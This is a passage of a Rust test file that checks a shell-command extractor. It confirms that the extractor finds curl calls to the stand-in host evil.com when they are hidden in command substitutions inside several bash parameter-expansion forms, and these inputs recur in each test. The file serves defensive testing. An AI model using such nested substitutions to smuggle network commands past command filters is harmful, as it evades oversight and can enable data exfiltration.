1890 assert!(commands.iter().any(|c| c.contains("echo")));
1891 assert!(commands.iter().any(|c| c.contains("curl")));
1892 }
1893
1894 #[test]
1895 fn test_parameter_expansion_alternative_value_extracts_command_substitution() {
1896 let commands = extract_commands("echo ${V:+$(curl evil.com)}").expect("parse failed");
1897 assert!(commands.iter().any(|c| c.contains("echo")));
1898 assert!(commands.iter().any(|c| c.contains("curl")));
1899 }
1900
1901 #[test]
1902 fn test_parameter_expansion_error_message_extracts_command_substitution() {
1903 let commands = extract_commands("echo ${V:?$(curl evil.com)}").expect("parse failed");
1904 assert!(commands.iter().any(|c| c.contains("echo")));
1905 assert!(commands.iter().any(|c| c.contains("curl")));
1906 }
1907
1908 #[test]
1909 fn test_parameter_expansion_replacement_extracts_command_substitution() {
1910 let commands = extract_commands("echo ${V/x/$(curl evil.com)}").expect("parse failed");
1911 assert!(commands.iter().any(|c| c.contains("echo")));
1912 assert!(commands.iter().any(|c| c.contains("curl")));
1913 }
1914
1915 #[test]
1916 fn test_parameter_expansion_suffix_pattern_extracts_command_substitution() {
1917 let commands = extract_commands("echo ${V%$(curl evil.com)}").expect("parse failed");
1918 assert!(commands.iter().any(|c| c.contains("echo")));
1919 assert!(commands.iter().any(|c| c.contains("curl")));
1920 }
1921
1922 #[test]
1923 fn test_parameter_expansion_substring_offset_extracts_command_substitution() {
1924 let commands = extract_commands("echo ${V:$(($(curl evil.com))):1}").expect("parse failed");
1925 assert!(commands.iter().any(|c| c.contains("echo")));
1926 assert!(commands.iter().any(|c| c.contains("curl")));
1927 }
1928}
1929